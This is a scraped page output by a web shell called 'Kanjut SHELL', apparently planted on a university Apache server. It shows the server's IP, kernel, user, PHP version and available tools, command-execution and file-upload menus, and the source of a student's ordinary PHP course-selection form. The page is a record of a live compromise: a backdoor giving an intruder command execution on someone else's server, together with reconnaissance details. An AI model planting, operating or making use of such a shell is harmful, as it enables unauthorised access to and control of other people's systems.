Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.154.134
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/brmorrison/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/brmorrison/public_html/crsForm.php
<!-- crsForm.php -->

<?php
session_start();

if ($_SERVER["REQUEST_METHOD"] === "POST") {
	$_SESSION["name"] = $_POST["name"];
	$_SESSION["gender"] = $_POST["gender"];
	$_SESSION["grade"] = $_POST["grade"];

}
?>

<FONT color=blue size=4>
<center>
<H2>
Course Selection
</h2>
</center>
<HR>

<form action="registration.php" method="post">
    <?php
    $csCourses = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS389", "CS440");
    foreach ($csCourses as $course) {
    ?>
        <input type="checkbox" name="csCourses[]" value="<?= $course ?>">
        <label><?= $course ?></label><br>
    <?php
    }

    $mathCourses = array("Math135", "Math136", "Math171", "Math172", "Math271");
    ?>
    <p>Select Math courses:</p>
    <?php
    foreach ($mathCourses as $course) {
    ?>
        <input type="checkbox" name="mathCourses[]" value="<?= $course ?>">
        <label><?= $course ?></label><br>
    <?php
    }
    ?>

    <input type="submit" value="Submit">
</form>
</FONT>


Stv3n404 - 2023